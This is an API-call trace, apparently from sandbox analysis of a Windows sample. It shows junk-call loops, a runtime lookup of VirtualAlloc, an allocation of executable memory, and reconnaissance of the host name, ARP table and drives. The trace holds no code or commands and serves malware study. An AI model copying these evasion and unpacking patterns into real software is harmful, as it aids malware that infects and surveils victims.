	[0049.719] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.719] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.719] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.719] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.719] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.719] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.719] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.719] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.719] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.719] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.737] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.737] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.737] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.737] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.738] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.738] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.738] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.738] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.739] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.739] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.739] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.739] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.744] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.744] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.744] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.744] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.744] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.745] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.745] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.745] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.745] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.745] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.745] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.745] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.745] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.745] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.745] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.745] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.745] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.745] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.745] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.745] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.745] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.745] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.745] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.745] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.745] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.745] D2D1CreateFactory () returned 0x0
	[0049.751] DWriteCreateFactory () returned 0x0
	[0049.828] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000
	[0049.829] GetClientRect (in: hWnd=0x0, lpRect=0xf3f2b0 | out: lpRect=0xf3f2b0) returned 0
	[0049.832] GetProcAddress (hModule=0x772d0000, lpProcName="VirtualAlloc") returned 0x772e6970
	[0049.832] VirtualAlloc (lpAddress=0x0, dwSize=0x33000, flAllocationType=0x3000, flProtect=0x40) returned 0x2bf0000
	[0049.833] NetWkstaUserGetInfo (in: reserved=0x0, level=0x9deef0ef, bufptr=0xf3ee6c | out: bufptr=0xf3ee6c) returned 0x7c
	[0050.012] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.013] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.014] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] SetDCPenColor (hdc=0x0, color=0x0) returned 0xffffffff
	[0050.015] GetMenuCheckMarkDimensions () returned 983055
	[0050.015] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0xc) returned 0x2c470d8
	[0050.015] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0xc) returned 0x2c47000
	[0050.015] GetLastError () returned 0x57
	[0050.015] GetLastError () returned 0x57
	[0050.015] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.016] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.017] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.018] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.019] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.020] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.021] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.022] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.023] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.024] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.025] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.026] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.027] GetLastError () returned 0x57
	[0050.028] GetLastError () returned 0x57
	[0050.028] GetLastError () returned 0x57
	[0050.028] GetLastError () returned 0x57
	[0050.028] GetLastError () returned 0x57
	[0050.028] GetLastError () returned 0x57
	[0050.028] GetLastError () returned 0x57
	[0050.028] GetLastError () returned 0x57
	[0050.029] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0xc) returned 0x2c46e98
	[0050.029] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0xc) returned 0x2c47048
	[0050.029] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0xc) returned 0x2c47078
	[0050.029] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c47078 | out: hHeap=0x2c40000) returned 1
	[0050.029] CreateAsyncBindCtx (in: reserved=0x0, pBSCb=0x0, pEFetc=0x0, ppBC=0xf3d984*=0x0 | out: ppBC=0xf3d984*=0x0) returned 0x80070057
	[0050.029] CreateAsyncBindCtx (in: reserved=0x0, pBSCb=0x0, pEFetc=0x0, ppBC=0x0 | out: ppBC=0x0) returned 0x80070057
	[0050.030] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.030] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.030] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.030] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.031] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.031] SetErrorMode (uMode=0x1) returned 0x0
	[0050.032] GetLogicalDrives () returned 0x4
	[0050.032] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.032] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x2c48260
	[0050.032] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.032] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.032] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.087] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x2c48a68
	[0050.087] GetIpNetTable (in: IpNetTable=0x2c48a68, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x2c48a68, SizePointer=0xf3d4ac) returned 0x0
	[0050.091] AppendMenuW (hMenu=0x0, uFlags=0x60d28, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.091] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.091] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.091] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.091] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.091] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.091] SetErrorMode (uMode=0x1) returned 0x1
	[0050.091] GetLogicalDrives () returned 0x4
	[0050.091] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.091] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x2c48c18
	[0050.092] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.092] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.092] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.092] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x2c49420
	[0050.092] GetIpNetTable (in: IpNetTable=0x2c49420, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x2c49420, SizePointer=0xf3d4ac) returned 0x0
	[0050.092] AppendMenuW (hMenu=0x0, uFlags=0x80010edc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.092] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.092] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.092] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.093] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.093] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.093] SetErrorMode (uMode=0x1) returned 0x1
	[0050.093] GetLogicalDrives () returned 0x4
	[0050.093] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.093] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x2c49bf8
	[0050.093] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.093] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.093] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.093] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x2c495d0
